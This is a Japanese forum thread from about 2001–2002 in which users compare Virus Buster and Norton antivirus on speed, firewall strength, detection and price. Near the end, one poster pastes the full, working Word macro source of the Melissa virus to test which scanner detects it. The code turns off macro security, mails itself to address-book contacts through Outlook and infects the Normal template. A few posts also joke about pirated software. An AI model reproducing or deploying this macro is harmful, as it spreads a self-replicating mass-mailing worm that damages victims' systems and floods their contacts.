バスターＶＳノートン

バスターとノートンの長所・短所を書きこんで
どちらが上か決着を付けましょう！！

>>1
俺、ノートン派
昔から使ってるから（藁

ノートンに一票！
バスターより軽い

マカーには何がよいのでしょうか

バスター派です。
ノートン使ったことがないので、よく分からない。

２年バスター使ってたけど今度ノートンに乗り換えるつもり。

>>5
Norton体験版落として使い比べてみたら？　まだ2002は体験版
がないけど2001ならここで落とせるよ。
http://www.symantec.co.jp/region/jp/trial/nis.html

クローキングって何ですか？

バスターとノートンって同時に使うことはできるの？
やった事ないからわからないんだけど。
バスター２００２は今使ってる。

>>8
それは気にせんでも大丈夫。

>>9
ノートンインストールしてた頃
バスターインストールしようとしたら
ノートンがインストールされていますアンインストールしてくださいと出た
同時に使うのは無理では？

なんか前にありましたよね。
ウイルススキャンとバスター、ノートン全部インストールする方法。

今日ノートンからバスター2002に乗り換えましたよ
〜簡単なのに高機能、高品質。だから安心〜 の歌い文句で購入しましたが
まぁ納得の範囲でした。
と言うことでバスターに一票

>>13
じきにノートンに戻ることになると思うよ・・・。

>>14
やはり性能はノートンの方が良いですかねェ？
貴方はバスター？ノートン？

>>15
バスター暦２年、今からノートンに乗り換えるところ。

>>9
最初にバスターを入れれば全部インストできるよ。
ほかのやつは警告も出さないでインストール続行しちゃうから。

性能もサービスもNortonでしょう。バスター＝糞。

バスターのファイアウォール機能ウザイ
アクセスが制限される・・・

世界的なシェアはどちらが上なの？

あと双方の強みと弱みを教えてくれると助かる。

バスターが糞呼ばわりされるのはＦＷのせいだよなあ…。
と、擁護してみたり。

世界的シェアではマカフィーか？

ノートン＞バスター＞＞＞＞＞＞＞＞＞＞人糞＞＞＞＞＞＞＞マカフィー

ノートン役立たず・・・ためしにウイルスやトロイを100個位詰め込んだテストマシン作った
んだけど、ノートンはヒットする数が激少ない！！バスターの方がかなりヒットするよ！

マカフィーも駄目駄目！！誰かF-セキュアーのアンチ使ってる人スレ求む！

マカフィーって何ですか？
by教えて君

今度のノートンって環境によるけど通信速度ガクンと落ちるらしいよ。
よって、ざんねんだけどバスターだね。

両方買って比較して優劣つけてる人っているの？
聞きかじりや脳内妄想はイラナイＹＯ

>>27
両方買ったよ。バンドル版のマカフィ〜も持ってたよ。

>>27
買わなくてもWinMXで見つけてみては？（藁

マカヒーは人糞よりしたなのか…

俺も両方買った。
ウイルス感知はバスターの方が上、ファイアーウォール機能は
脳豚の方が上。
よって今はバスター入れてふぁい機能をOFFにしてファイアーウォール
は脳豚を入れています。

技術提供しあって最強のウイルス検知ソフト作れば良いのにね
（独占禁止法に振れそう

ノートン、頭悪すぎ。

しかしばすたー２００２は満足に動作しないが、のーとん２００２はとにかく動くからのう・・。

>>21

> 世界的シェアではマカフィーか？

自分の意志で入れていないものをシェアなんて呼びたくない・・・。

仰るとおりだ。俺も好きで入れてる訳じゃない…（苦笑）

ウィルスバスターを買って、バンドル版のマカフィーを
アンインストールした時に感じた開放感、爽快感！
今でも覚えてるよ。

ノートン。
理由：なんとなく
今はなにもいれてない。

VBからNISに乗り換え。
どっちも同じ。

軽いのはどっちなの？

>31
両方イレテルノカコイイ

ノートンのFW中級以上
バスターのFWは初心者用ってなかんじ

ウイルス除去はノートン
理由割れでウイルス定義更新できるから


　　　　　　　　　　　　　　　　　スマソ逝ってくる

NAV2001とVB2001(共に体験版)を同じマシンにインストして全ファイルのスキャンをしてみた(w

NAV…28分35秒（61235ファイル)
VB …14分20秒(42944ファイル)

同じマシンなのにファイル数が違うのは、VBは圧縮ファイルを１とカウントするのに対して、
NAVは圧縮ファイル内のファイル数でカウントしている模様
正直、こんなに大差がつくとは思わなかった(w

また、スキャン開始時のCPU温度も41℃に揃えて最高温度をモニターしていたところ

NAV…58℃
VB …54℃

との結果が出ました
NAVの方がスキャン時(特に圧縮ファイル)のCPU負荷が高い模様

但し、アンチウィルスソフトの優秀さはウィルスの検出能力と駆除能力によって
決まると思われますので、この結果はオマケ程度に考えてください(w

最後になりましたが、同じ実験をする時はVBを先にインストしなければ共存できませんので
注意してください(w

圧縮ファイルのカウントの仕方が違うってのは初耳です。
よく雑誌で検出能力を比較してるけど、
アレってどこまで信頼できるのかねぇ？

ちなみに私はシステムワークス導入してるのでノートンです。

いいサンプルがあるよ。
virusください。スレ（ノートン2002）を開いただけでら感染したん
だけど、ウイルスバスターの方はどうなのかな？

>>45
開いてもなんの反応もなかった。
全ドライブ検索してみても何も出てこなかったよ。

>>44
ファイル数のカウントの仕方が違うのは間違いないみたい
>>43を書いた後にデフラグを掛けたら、表示されるファイル数はVBに近い
(検索後にネットを少ししたので微増していた)モノだったから…

で、検索速度の違いだが、目で見ていた感じでは普通のファイルは大差なし
圧縮ファイル(ｚｉｐ lzh cab 自己解凍式exe)の場合はNAVはVBの数倍から十数倍
の時間が掛かる感じ

検出能力と駆除能力には得意不得意があるだろうし、新種ウィルスへの対応の早さ
はNimda騒動のときを見る限り大差がないような…

PFW機能に関してはNIS(NPFW)の方がVBより２ちゃん的な評判は上の感じ

ノートンは反応しないものがある。
バスターではどう？

未知のウイルスが存在？
http://www.ebcvg.com/vx_exe.html

http://www.ebcvg.com/links.html

IRC.WORM W32.HLLP.Eter.8704 VBS.Rewind.A@mm
Hybris Troj W32.XTC.Worm などがある。

ノートンは人格的にダメ

ウイルスバスター２００２をインストールすると、俺のＸＰは
立ち上がらなくなる・・・なんでだ？
すげぇムカつく

age

ウイルスチェック機能はVB＞NAVってことでいいのかな？

でもPFW機能は要らないんだよな。
NAV買うしか無いのかなあ・・・

ノートンに１票。

>>53
> ウイルスチェック機能はVB＞NAVってことでいいのかな？
そう考えた根拠を教えてくれ

>>55
このスレ最初から読んだのか？

国内で一番売れているのはどれ？
世界で一番売れているのはどれ？

どっちかにするから・・・。

企業のサーバ向け製品では、トレンドマイクロが世界シェア60％、
イン・ザ・ワイルド検出率ではNortonが約100％、
McAfeeは企業向けの市場全体で世界シェア29％、スタンダード検出率100％
で、それぞれトップ。

↑いかん、いつもの癖でsageてしまった・・・(^_^;

どこもかしかも「世界NO.1シェア」で困る

ノートンをクライアント数1000台強へ一斉導入した。（コーポレートエディションつー奴）
選定理由はメモリ搭載量が少ないマシンでもVBよりは軽かったから。
内部WEBサーバからインストールしてもらって手間イラズ。
問題はMACだったが、台数があんまりなかったからふつーのパッケージ（こっちもNAV)を購入。

今、ZoneAlarmとマカフィーが入っていますがアンインストール
してノートンかウイルスバスターを導入した方がいい迷ってます。
常時接続環境でなくてもウィルスチェック・ファイアーウォール
対策はしっかりとっておくべきですか？マカフィーはダメかな。。

>>62
ノートンINSスレ読んでみて来てください。
結構不具合でまくりです。
織れも買ったんだけど・・・

あ、でもそれさえクリアすれば市販のファイアーウォールソフトとしてはBESTかも
ウイルス対策でVB優位かな？

＞63
そ、そうですか･･今ノートンとバスター近くの電器屋で特価で売られてて
いい機会だからどちらか試してみようと思っていました。ノートンが評判
いいと思ってたけど。そのスレ読んでみます。ありがとうございました。

>>64
訂正
ウイルス対策でＶＢ優位→ウイルス対策ではＶＢ優位

わずかなこったけど・・

今日、バスターからノートンに乗せ変えました。
それぞれのいいところ悪いところ。
バスターはウィルス検索がノートンより早い。FWで面倒な設定がいらない。
逆に言えば細かな設定ができないところが難点。あと動作が重い。
ノートンはウィルス検索がバスターの倍ほどかかる。（外出だが圧縮ファイルは
本当に時間がかかる）　しかしISは細かな設定ができるししっかりしている。
まあ、既出のことばっかりだけど、使ってみた実感。
足して2で割ったようなセキュリティソフトでないですかね？
　　　　　　

バスターのＦＷを無効にして、ZoneAlarmを使うことはできるの？

バスターVSドライバーなら言いたいことがかなり、ある。

>>68
バスター2002入れる前にぞね削除→
2002インストール→ぞねインストール

もちろんぞね入れるときは2002のFW切ってね。

|￣￣￣￣￣￣￣￣￣￣|
|　 もっと盛り上げて！　.|
|＿＿＿＿＿＿＿＿＿＿|
　 /ﾉノハヽ||
　 (　｀.∀´)||
　/　　　づΦ

企業向けにウィルスバスターコーポレートエディションてありますよね。
ノートンにもあるんですか？

>>70
サンクス！
バスターのＦＷを無効化できるのか分からなかったから…

この組み合わせが最強(速度的な面で)かな？

信頼性はトレンドマイクロ製かなあ・・・、
シマンテックのワクチンは、不安定なところがあるしね。
やはりこの二社は好敵手だな、
某McAfeeなんか、話題にもならん（藁

>>72
>企業向けにウィルスバスターコーポレートエディションてありますよね。
> ノートンにもあるんですか？
少なくとも英語版にはあるよ。
大きな外資系コンピュータ会社は、全員にインストールさせとる。
リテール版よりちょっと古いAntiVirusだけの奴だが。

ウイルスバスターは検出率がよくない。
スキャンの速さとスキャンの精度は別だ。
あの程度の機能で「ファイヤーウォール」と自称するところでも、
彼らの技術力の程度が知れる。

ノートンはカタログ上の性能はよいが、
実際には不安定できちんと機能していない面がある。
ゆえに専門家はノートンを論外視する。
普通に使っていると気がつかないことも多いだろうが。

マカフィは性能は悪くない、業界トップクラスであり
上記二社製のものにも遜色が無い。
ただしサポート体制が悪く、その意味で評判を落としている。
また、多くのパソコンに最初から入っていることから、
イロハもろくに知らない厨房にいいかげんな扱い方をされてPCを損傷し、
それがマカフィの不具合であるかのように誤解されてる一面がある。
実際には、McAfeeがもっともWindowsと相性がよい。
ノートンがらみのトラブルでサポセンに駆け込むものが多いが、
マカフィがらみのトラブルは、俺は聞いたことがない。
アンチマカフィニストの情報はひどく偏向していると思う。

アンチドートは、よいところもあるにはあるが、
総合的なウイルス対策としては実用に耐えない。
スキャンするべきタイミングでしていない、とか、
ある経路に対してはまるっきり無防備であるとか、
そういったたぐいの弱点がある。

AntiVirは論外。
一番大事な検出能力そのものが低すぎる。
これが個人作業かと思うと、驚嘆に値するが・・・
残念だがウイルス保護を任せておける水準に達していない。

マカフィーってだめなの？
http://pc.2ch.net/test/read.cgi/sec/994010282/

>>76
興味深い考察だなぁ。AVGはどう？

>>77
馬鹿ふぃーはなぜアンインストールの邪魔するんですか？

＞いい加減な扱い方されてPCを破損
物理的に壊すわけ？(w
つーか、色んな雑誌見ても馬鹿ふぃーって検知能力低い。
まあ、パクリでウイルス直そうとするなということだ。

>>77でなくて、>>76だった。

マカフィーと言えば・・・
以前、何ウィルスか忘れましたけど修正するためのレジストリ
情報をそっくりそのままパクッて自HPに修正情報として載せた
事件がありましたね。
パクッたままチェックもしなかったからなのか、タイプミスまでも
そのままでパクリがバレた事件でした。
その件で投稿者本人が問い合わせたところ、偶然にも同じ箇所を
タイプミスしたとの返事が返ってきたらしいです。
それ以来マカフィーは信用できなくなりました。
元々はマカフィーファンだったんだけど・・・。

>>81
あれ見て実行しても直らなかったら、馬鹿ふぃーの責任になるよね。
自分達でやってみたのだろうか？

所詮馬鹿フィー、その程度馬鹿フィー、使えないのに金取る馬鹿フィー、
使ってくれたら金やると言われてもいらない馬鹿フィー、ウィルスを一切
検出しないのにウィルス駆除ソフトと名乗る馬鹿フィー、百害あって一利無し馬鹿フィー、

バスター2001はソフトの間に割り込むのがじゃまになるときがあるね。
ノートン2002で解決してしまったから、今はノートン。
バスター2002は使ってないから良くわかんない。

値段的に大差ないからどっち買おうか迷ってるんだよねー。
それにお店によってお勧めのもの違うし・・・。

私の王子様はどっちなの〜！！

>>85
迷った時は島忠
http://www.shimachu.co.jp

>>86
島忠は王子様なんかじゃなーいっ！

たぶん７６は又聞きだろう。。

>>88
いや、社員タンと見た。

ちゃんと営業会議で承認得た文面と見た。

確かに何だかんだで好敵手なんだよな…
パソコン雑誌のウイルス対策ソフト特集とかではこの２本は必ず別格に扱われるし
まあ、それで結局バスター買ったんだけど…（別に後悔はしてないFW機能の重要性も学んだし）

正直McAfeeは悪くないと思う。

てゆ〜か、
なんで皆アンチウィルスソフト入れてるわけ？
OE入れず、IEのセキュリティ最大にして、
むやみに知らんファイルをダブクリせず、
定期的にオンラインウィルススキャンかければいいんじゃないの？
よくわからんファイル手に入れたときにも（藁

あと、ファイアーウォールもフリーで十分じゃん。
そうそう、２ｃｈのどっかで見たけど、
バスターのファイアーウォールはぞねにも劣るらしいよ。

>>92
ぞねにも劣る、というのが気にくわん！

ノートンがいいよ

>>92
bootウイルスってあんまり流行ってないしな〜〜。
れも、そういうチミは意外とbymer辺り可愛がってそう（ｗ

>>92
IE使ってるのにアンチウィルスソフト入れてない訳？
VBSワーム対策、マクロ対策もやってないとか・・・。

　マカフリーって日本で出してるのがソースネクストなのがいけないと思う。

>>96
〜対策っていうか、セキュリティを確保するためには、
自動実行を全てOFFか逐一聞くようにさせる。
それと無闇なダブクリはしない。
そうすれば問題となるのはセキュリティーホールだけ。
セキュリティーホール突かれる可能性は、
アンチウィルスソフトを信用して、なんでもかんでもダブクリする人間がウィルスに感染する可能性より低くない？
セキュリティーホール見つかれば問題となる機能は使わずに、パッチ出たらすぐに当てれば問題ないし。
>>95
当然共有フォルダなんて作ってないし、OE使ってない。
そもそもうちは２ｋだよ。
>>93,94
ノートンは確かにいいらしいね。
友人にはノートンお勧めしたよ。
利用期間一年（？）ってのが気に食わんらしいけど。
どっかの２ｃｈでセキュリティソフトの検証サイト聞いてんけど、
対トロイ防御力で、ノートンとぞねがトップで、
バスターはマイナーなトロイは素通ししたらしい。
>>all
そもそもファイアーウォール入れてれば
外出る分も警告してくれるから、他人には迷惑かけんやろ。
ハードディスク消去も、重要ファイルはバックアップ取ってるから
（あんまり）怖くないし。

長レスｽﾏｿ

>>98
＞自動実行を全てOFFか逐一聞くようにさせる

メールのヘッダに仕込まれたVBSコードも作動しないように設定してる？

＞対トロイ防御力で、ノートンと"ぞね"が

ぞねってトロイに強いのか(w
ZONEkillerを知らないようだ。

『既に知られたセキュリティーホール』さえ対策してれば安心できる
人もいるんだ…。microsoftが儲かるはずだよな(ｗ

>>101
別に良いんじゃない？
ちゃんとポリシー持ってるし。
ちゃんとインシデント対応できるかは知らんけど。

>>98
>そもそもファイアーウォール入れてれば
>外出る分も警告してくれるから、他人には迷惑かけんやろ
キミはメーラーも外に繋がらないように設定してるのか？

>>99
OEは使ってないって。
それともOE使ってなくてもメールのヘッダに仕込まれたVBSは作動するん？＜これはマジ質問
>>100
知ってるよ。
でも、ZONEkillerが来る可能性は・・・？
ソフトにはセキュリティーホール付き物で、
ノートンでもどっかにあるやろうに・・・。
ぞねも直ぐに対応するんじゃないの？
しなければ乗り換えるだけやし（どうせフリー）
＞ぞねってトロイに強いのか
俺は知らない。海外のサイトにそう書いてた。
多種多様のトロイを試したらしいよ。
俺がぞね使ってる理由は、sygate気に入ってたが、某ソフトが動かなかったからとりあえずぞね入れてるだけ。

>>all
ていうか、俺の聞きたいのは、
重くしてまでアンチウィルスソフトを入れる必要があるかどうか。
最小限のソフト（できればフリー）でどこまでセキュリティを確保できるかどうかってとこ。

>>104
質問。WSHは？
というか、切ればそもそも問題なし。
漏れ的には厳密に言えば動作する全てのバイナリは信頼できん（ｗ
特にフリーソフトの類。
カナ−リ、痛い目見て経験積んだ脳みそデータベース有って、逐一
的確に推測できればそれこそ最強では有るけど。
でも、毎日手動？で脳みそパターンファイルとエンジン書き換えな
いとダメだね。

>104
最大のセキュリティホールは操作する人間
人間の誤操作による被害を最小限度に食い止めるにも
アンチウィルスソフトやファイヤーウォールは入れてても
いいんじゃないかと思う。

もちろん、ソフトは人間が作ったものなので、穴はある、
というか、新種のウィルスの場合役に立たないので
君がやってるように人間の注意によってセキュリティを
高めることも必要だと思うが。

バスターは起動画面がカッコ悪いので嫌いです。

>>107
漏れも嫌いだ（ｗ
アレもう少しインタフェース、カッコ良いのにすれば
起動するの楽しくなって、スキャンやパターンファイ
ルのアップデートも楽しくなるんじゃ無いかと。
間接的にウイルス感染も防げると（ｗ
・・・更に不安定にしないのが大前提。
ロングファイル名に追従しない？？な時は正直焦った。。。

http://memo.st.ryukoku.ac.jp/archive/200109.month/1347.html

みなさんレスありがとうっす。

結局のところ危なそうな情報は来んかったし、
この辺で自分まとめ

・IEのセキュリティー最大（もちActive X, Java含む）
・OE使わない（ていうかアンインストール）
・その他の自動実行もOFF
・ファイアーウォールのバージョンアップ情報はこまめにチェック
・自分の使うソフトのセキュリティホールもこまめにチェック

これで自分がダブクリしなければ感染せんよな？
仮に感染しても、
ファイアーウォールが未知のソフトが外へ出ようとしても警告してくれるし。

結論
以上の事を守り、ファイアーウォールがしっかりしていれば、
気をつけるのは自分のダブクリのみ。
アンチウィルスソフトは必要なし。

・・・でいいの？（ちょっと弱気）

age

そういえば95使ってた頃はリアルタイム監視入れてなかった。
リソース解放するから、こまめにスキャンで対処した記憶が。

>>112
そうやろ？
結局のところ重くてリアルタイム監視してないやつ多いし、
仮にしててもJAVA&ACTIVEは自動実行させてないやつの方が多いし、
OE使ってる人間も少ないやろ？
よくわからん添付ファイル開ける人間もそうそういてないやん。
（あの誘惑はかなり強いが（ｗ ）
ってことは、オンラインスキャンのみで十分なんじゃないの？

そもそも俺にレス付けてくれた人たちはそれなりの知識があるのに、
なんでアンチウィルスソフトのアンインストールを考えないわけ？

新しいウイルスや不正ツールの情報/可能なら本体そのもの
落して色々したい君だから。頭悪いからドキュメント見ただ
けじゃ理解できない漏れ（ｗ
アンチウイルス有った方が楽ちん。有る意味ヘビーユーザー
なのかも。。
通常のサイト巡回してるなら十分だと思われ。>>110

>>113
＞なんでアンチウィルスソフトのアンインストールを考えないわけ？

その方が楽だからだよ。それに仕事で使ってる人なんかは取り引き
先から来た添付ファイルの類を「怪しいから開けない」って訳に
いかんだろ。

キミがアンチウィルスソフトを使いたくなければ使わなければいい。
ただそれだけ。

取引先からAlizが来たんだけど、ノートンでは削除出来なかった。
しかも、アップデートしようとしたら「最新版」だと・・
ウィルス定義は１１／２４が最新版なのにね・・
インストールし直して、最新版で検索しても引っかからず・・
アウトルック６をＤＬしてやっと消えたが、怪しげなファイルが
残ってる様だ。バスターではどうなのかな？

>>114
コレクションするなら必要よな。
＞アンチウィルス有った方が楽ちん
重いからコレはどうかとおもわれ。
（決してマシンがショボイ訳じゃないよ）
あと、通常のサイトだけじゃネットツマランよ・・・。
>>115
仕事に使ってる人には必需品っしょ。
自衛のためだけじゃなくて、その会社の信頼性にヒビ入るよ・・・。

>>all
付き合ってくれてさんくす。
出尽くしたと思われるからもういいよ。
（まだ書いてくれる人いるなら嬉しいけど・・・）

>>116
アンチウィルスソフト使わない派だから、
バスターもどうか分からないけど、
せめてアウトルックはやめた方がいいとおもうよ。
大学の情報処理の先生もそう言ってる。
「OEはショボイくせに、削除できない分ウィルスよりタチ悪い」ってさ。

>>116
俺、2001で隔離＆削除出来たよ

ノートンAV2002軽いぞ。無印Pentium 224MHzでほとんど速度変わらない。

>119
確かに。ほんとにシステム監視してるのかよ？！と問い詰めたくなる。

つかぬ疑問だが、マカフィーってFWはついてるのかな？・・・・
つまらん疑問ですんまそ

>>121
一応あるみたいだよ。

おまえら、トレンドマイクロのオンラインスキャンにお世話になった奴は
バスター２００２使え！！

>>119&120
へ〜、そんなに軽いんですか？

ところで、今有名なＩＥでCookie抜かれるセキュリティーホールについては対応しているんですか？
ActiveX無効にしておかないと意味ないんなら・・・

セキュリティーソフトに任せっきりってのは怖いし、
かといってやっぱり何も入れないのは正直怖いし、
でも普段自分でセキュリティ最大にしているなら
こういったセキュリティーソフト必要なさげだし・・・

>>124
質問のピントがおかしいが…

>>121
VSOにはファイアーウォール機能はついてないよ。
ファイアーウォール製品は別売り。

>>124
スレ違いだがパッチができているから当てとけよ
http://www.microsoft.com/windows/ie/downloads/critical/q312461/default.asp

アクティブデスクトップが必要なファイヤーウォール（笑
なんか、かえってセキュリティ悪化しそう・・・・

このスレタイトルがなにか気にかかっていたのだが、
そうか、バスター・キトンとかけたのか！(・∀・)？

語）バスター・キトン
正）バスター・キートン

買った奴には失礼だが、ウィルスバスター２００２にお金を出すなんて勿体ない。
体験版で使ったけど、特に防火壁の甘さ。。。ノートンとzonealarmのproを比べる為、自分でポートスキャンとセキュリティーチェックをしたが、一番通す結果でした。
zoneプロはかなりイイ！ノートンは普通に使える方だと思います。
ウィルスの方は、アンチドートとノートンとウィルスバスターを試してみた。
・・・結果はアンチドート→ノートン→ウィルスバスターでした。いろいろと試した結果ですが、私の解釈なのでご参考程度に。ウィルスの検査の仕方はいろいろと試したよ。
適当なファイルにトロイぶち込んでlzh　zip・・・etcで圧縮して試してみたよ。
アンチドートとゾヌプロは凄いです。

スレ違いですまん。

やっぱバスターがいいよ。

というわけで、アンチドート＋ノートンで決まりっ！
■■■■■■■■■■■　完　■■■■■■■■■■■

インフラサポートをしています。
客先数十社でよく使われている３種の、ここ半年の作業結果では
まかふ：０〜３
ばすた：５〜１０
のとん：２２０
感染ファイル検知結果となっています。
検出感度は、のとんが一番。
除去能力は、ばすた・のとん大差なし。まかふ・・・
HPや修復ツールは、まかふ・ばすたが一般向け。のとんはちょっと
専門的。（ユーザに説明を読んでもらった印象）

※各パターンは最新 著名Ｖｉｒｕｓに感染したＰＣを使用。
　（Navidad,Sircam,Nimda,BadTrans,Mtx,HapTime)

２ちゃんねらー的には、
ノートンのほうが、チョビットだけ優勢っぽい
ってことでよろしいですか？

じゃあノートン先生買って来るよ。
明日土曜だし、お店混んでるなあ・・・。
まあ、ヒマだしブラブラしてくるよ。

バスターもなんか、「バスター博士」とかキャラをだせばどうかな？

更新料（？）とかっていくらかかるんですか？
毎年パッケージを買わないといけないのですか？

はやくマカフィーから卒業したいです・・・。

ファイアウォール更新1500円也
ウィルス更新2500円也

ノートン先生に勝てるのはバスターマシンだけだろ。

売上では勝ってます。はい。売上ではね。。。。

ノートンバスターが最強。
ただし素人にはおすすめできない。

↑ノートン先生をやっつけるみたいだだな

バスターは２００１も２００２もファイヤーウォールが甘すぎ。
奴ら本当に技術あるのか？
どーもシマンテックのほうがだいぶましではないかという気がしてきた・・・

バスターの年3,000円でパターン、アップグレード、というのが安くてよさそう。
ノートンは年4,000円でパターンのみだからなぁ・・・。

ノー�d先生

バスケがしたいです・・

バスター

ウィルス発見は良いけど（駆除も？）
初心者に分かりやすい
ＷＦは糞

ノートン
総合的に良い
細かい設定が出来る
初心者には扱いずらい

こんな感じ？
バスターかノートン
どちらを買おうか迷ってる

あげ

ご意見募集中。。。

>>149
ＷＦってなんですか？

逆

バスターのウイルス検知
ノートンのＦＷ機能
共存できるのかな？

>>154
俺なんか、ウイルスバスター2002と
ノートンPFW入れてるけど不具合なし。

>>154-155
なのに某まかひーにだけは互換性がないのは、なぜだろう？
やっぱSYMANTECはNAIをかなり意識しているんでしょうか・・・
NAI本社のほうでも、バスターのことなんか完全無視して
McAfee6.0とNorton AntiVirusを比較しているし。

どちらもトレンドマイクロは眼中に無いみたい・・・・

トレンドマイクロって世界で見たらあまりシェア無いんじゃない？

質問が不適切かも知れませんが

ノートン2002って1つのライセンスで複数台のPCにインストして動作させる事は
出来るのでしょうか?（ライセンス違反は承知の上で）
バスターは複数台どころか同一PCのデュアルブートでもOSごとにライセンスが
必要だった気が…

>>158
なぜ、そんな情報が必要なのか？

能豚はインストールするときにシリアルの登録が無かった
インストールしてユーザー登録したらシリアルが貰えた・・・
コレってピーコ簡単に出来るのではないのかなァ・・・(-_☆)ｷﾗﾝ

このスレ読んで、
ノートンinternetセキュリティ 2ユーザーパック買うことに決めました。
場合によってアンチドートも頭の隅に置いておきます。

CATVでネット繋げてるんだけど、FW機能が優れてるノートン先生か、
それとも、ウイルス対策に強いバスターとどっっちがいいですかね？

>>162
俺もCATVだけど
バスターのFWを切ってゾーンアラームにFWをまかせる
ノートンに全てを・・・

両方、試してみたけど
自分はノートン派かな
たしかにウィルス探知を比べるとノートンはバスターの２倍は時間
がかかるし（ウィルス探知）圧縮ファイルとか凄い時間かかる。。
でもノートンは軽いしFWはまかせられるし、細かい設定が出来るのが嬉しい

両方ともメーカーのサイトから体験版が落とせるから
とりあえず使ってみれば？

NIS2001 Ver2.5を使ってるけどWinXPを入れたらAuto-Protectが使えなくなったんで
対応している物にしたいと思ってます。
ノートンのFWが気に入っているのでNIS2002が有力なのですが、ADSL回線だと
通信速度が遅くなるのでしょうか？
別マシンでウイルスバスター2001も使ってますが、バスターはどうも好きに
なれないので。

： ：

トレンドマイクロ■もう一度ウイルスバスター使ってみようキャンペーンのご案内

ってのがメールで来た。
4000円で購入できるらしいけど、これって安いのかな？
バスター2000からNAV2001に乗り換えたけど、XPには正式対応してないし、正直どうしようか悩むなぁ。

ベクター見たけど、全然安くないな・・・

バスターは見分ける。ノー沌は引っ掛かる。
ほらっ！
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

お〜ほんとだ、上のカキコnortonはウイルスにしちまったい
って、おれめちゃ厨房だからまじ、これ大丈夫？

バスターとノートンどちらも持っていますが
↑にノートンは掛かったがスキャン能力
バスターに勝っていると思われる何故ならバスターが見つけられなかったウイルスを
ノートンが見つけたから（単純）
偏見かもしれませんがノートンをオススメします

>>171
書き込みを感知されてもねぇ…
馬鹿ふぃーと同じじゃん。

俺のNortonは感知しないんだが・・・
ローカルに保存するとちゃんと怒られるんだけどな。

>　書き込みを感知されてもねぇ…
Webページ内の本当のウイルスのソースコードと、Webページ内の単なる書き込みのウイルスソースコードは、どちらもシステム的には等価と言っても差し支えないので、これを非難するのは少々酷かと。

>　俺のNortonは感知しないんだが・・・
>　ローカルに保存するとちゃんと怒られるんだけどな。
つまりファイルの書き込みクローズに対してフックしているわけで、少々えらそうな言い方ですが、まあまあ真っ当な状態だと思います。

Macro.src −ノートン大先生では反応する。

前言撤回。よく見たらスクリプトではなくマクロでした。ごめんなさい。

こないだ
I Love Youに引っ掛かるスレがあったなあ

サポート体制はどうよ。ノートンスレではシマンテックは最悪と
書かれてるが。ウイルスバスターの会社はどうなの？

>177
持っているがばすたー２００２では引っかからないぞ

ノートンやバスターの２００１のスレがありませんが
ココを使ってもいいですか？

バスター２００２は、バスター２００２の方で書いたけど、何が原因なのか
わからないけど、接続エラープロキシが間違ってるとかメッセージが
でて、パターンが更新されないことがあるよ。
再インストールして試したり色々やって大変だったよ

>>181
同じことが有りましたよ
串使ってないのに串が間違っていますとか出て更新できなかった
まぁ再起動したらナオッタケド(T_T)

>>181
よくなるよ。で、ゾーンアラーム切ったらできた。

